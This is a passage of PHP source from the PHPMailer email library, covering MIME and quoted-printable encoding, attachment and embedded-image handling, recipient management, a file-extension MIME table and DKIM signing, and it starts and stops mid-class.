        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
